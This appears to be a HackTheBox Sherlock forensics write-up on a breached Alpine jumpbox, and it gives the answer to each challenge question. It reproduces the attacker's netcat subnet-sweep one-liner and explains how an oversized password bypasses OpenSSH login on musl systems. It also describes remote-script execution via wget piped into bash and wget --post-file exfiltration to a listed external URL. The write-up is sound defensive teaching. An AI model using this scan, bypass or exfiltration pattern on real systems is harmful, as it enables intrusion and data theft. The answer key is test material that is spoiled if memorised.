// HackTheBox  ·  writeup

SSHole

HackTheBox Very Easy grepcat
DFIRLinux

Scenario

In this Sherlock, players will investigate a compromised jumpbox where an attacker gained access via an authentication bypass vulnerability, allowing them to reach an internal subnet.

Executive Summary

An attacker reached a developer jumpbox by abusing an OpenSSH authentication bypass that affects musl-based systems without PAM, logging in as a service account whose password hash is locked. From that shell they swept the internal developer subnet with a netcat loop, then ran a remote setup script that dropped a staging file in /tmp. The file was posted to an external HTTPS endpoint with wget and shredded afterwards. The whole story sits in the jumpbox’s messages syslog and the service account’s shell history; there are no per-command audit logs.

Artifacts

Timestamp note: messages has no year or timezone. The year comes from the case timeline; the answer format is YYYY-MM-DD hh:mm:ss, so prepend the year and keep the log’s clock as is.

Initial Access

Q1 — What Linux distribution name and version was the targeted server running?

etc/os-release is the quickest source. The pretty name and VERSION_ID give distribution and version in the exact shape the format mask asks for. Alpine matters later: it ships musl and BusyBox, which explains why the host has no PAM and why logs land in a single messages file.

cat SSHole/etc/os-release
Click flag to reveal Alpine Linux 3.24.3
Q2 — What is the CVE ID of the vulnerability abused by the attacker to gain access?

The telltale in the evidence is a successful password login for an account that cannot have a valid password. adminsvc has * in the hash field of etc/shadow, so no password can match, yet messages shows Accepted password for it. A password login accepted against a locked hash on a musl/no-PAM OpenSSH points to the SSHole bypass. The CVE ID itself was not read from an artifact: it comes from the vendor advisory at https://www.stepsecurity.io/blog/cve-2026-123158-sshhole-openssh-musl-password-bypass, which matches the behaviour seen here.

grep '^adminsvc' SSHole/etc/shadow
Click to reveal answer CVE-2026-123158
Q3 — When did the attacker exploit the vulnerability?

Search messages for sshd-session authentication lines from the external client. A Failed password for adminsvc at 11:27:05 is followed three seconds later by Accepted password for the same account, same source and port. The accepted line is the exploitation moment.

grep -E 'Failed|Accepted' SSHole/var/log/messages

Gotcha: root also logs in from 192.168.72.131 several times that day. That is a different source and a different account, not the bypass.

Click flag to reveal 2026-11-06 11:27:08
Q4 — Which user account was abused by the attacker?

Same line as Q3. The format mask asks for the username without a domain, so take the account name as sshd logged it.

grep 'Accepted password' SSHole/var/log/messages
Click to reveal answer adminsvc
Q5 — What string value causes the authentication bypass?

The jumpbox logs record that a password was accepted, never the password itself, so the trigger value cannot be read from messages, the shell history or anything else in the triage. What the evidence does give is the mechanism. musl’s crypt() fails on a password over 256 characters and returns * instead of a hash. A locked account has * in the hash field of etc/shadow, so sshd compares the two, finds an exact match and lets the login through. That is why adminsvc authenticated with a locked hash.

Note: This answer is not in the provided files. It came from outside research on the CVE and was confirmed by HTB accepting it, not derived from the artifacts.

Click flag to reveal *

Discovery

Q6 — What command did the attacker use to scan the network reachable via the jumpbox, allowing them to target internal developer systems?

With a shell as adminsvc, read home/adminsvc/.ash_history. The second entry is a one-line loop that runs nc -zvw 1 over all ports of every host in 192.168.18.0/24 and keeps only the lines containing succeeded or open. Right after it the attacker edits and reads scanreport.txt, which is where that output was kept.

cat SSHole/home/adminsvc/.ash_history

Tip: Copy the line exactly as it appears in the history, including the {1..254} brace range and the quoting in the grep. The format mask matches the shell syntax.

Click to reveal answer for ip in {1..254}; do nc -zvw 1 192.168.18.$ip 1-65535 2>&1 | grep -E "succeeded|open"; done

Exfiltration

Q7 — What was the exfiltration URI where the attacker exfiltrated a sensitive file?

Later in the same history the attacker runs a remote script through bash <(wget -qO- ...), lists /tmp and /tmp/.devenv, then posts that file with wget --post-file to an external HTTPS endpoint and runs shred -u on it. The POST target is the exfiltration URI. The staged file name and the shred are a deliberate clean-up, so the history is the only place the destination survives.

grep -E 'post-file|shred' SSHole/home/adminsvc/.ash_history
Click flag to reveal https://devv.coding.eu/process

Attack Summary

PhaseAction
Initial AccessSSH password login as adminsvc accepted despite a locked hash, via the musl OpenSSH bypass
Discoverync port sweep of the internal 192.168.18.0/24 developer subnet, results saved to scanreport.txt
ExecutionRemote setup.sh fetched with wget and run through bash
CollectionStaging file left in /tmp/.devenv
ExfiltrationFile posted to an external HTTPS endpoint with wget --post-file
Defense EvasionStaging file destroyed with shred -u

IOCs

TypeValue
Accountadminsvc
Source IP (bypass login)192.168.72[.]1
URL (exfiltration)hxxps[://]devv[.]coding[.]eu/process
URL (script)hxxps[://]raw[.]githubusercontent[.]com/papinyurii33/devscripts/refs/heads/main/setup.sh
File/tmp/.devenv
Filescanreport.txt

MITRE ATT&CK

TechniqueIDDescription
Exploit Public-Facing ApplicationT1190OpenSSH authentication bypass on the jumpbox
Valid Accounts: Local AccountsT1078.003Login as adminsvc
Network Service DiscoveryT1046nc sweep of the internal subnet
Command and Scripting Interpreter: Unix ShellT1059.004bash <(wget ...) of a remote script
Ingress Tool TransferT1105setup.sh pulled from GitHub
Exfiltration Over Alternative ProtocolT1048.003wget --post-file to an external HTTPS endpoint
Indicator Removal: File DeletionT1070.004shred -u on the staging file

Defender Takeaways

Patch OpenSSH on musl and no-PAM hosts. The bypass worked against an account with a locked hash, so password policy and account locking gave no protection. Update the package and, where possible, set PasswordAuthentication no so a password-length bug cannot grant a session at all.

Alert on a success that follows a failure for an account that should never log in. Failed password then Accepted password three seconds apart for a service account with a * hash is an impossible event. A correlation rule on logins to accounts with locked hashes would have caught this on the first attempt.

A jumpbox needs to be a dead end. nc could sweep every port of the developer subnet because the host had unrestricted routing into it. Segmentation with per-destination allow lists limits what a compromised jumpbox can reach.

Ship shell history and egress logs off the host. .ash_history was the only record of the scan and the upload, and it carries no timestamps. Command auditing forwarded to a central store, plus egress filtering on a box that has no reason to POST to arbitrary HTTPS hosts, would have given dates and a block.

Conclusion

A single oversized-password login turned a locked service account into a shell on the jumpbox, and the attacker used it to map the developer network and post a file out before shredding it. The authentication logs show the impossible login clearly; the gap was that nobody was looking for it and the box could reach everywhere.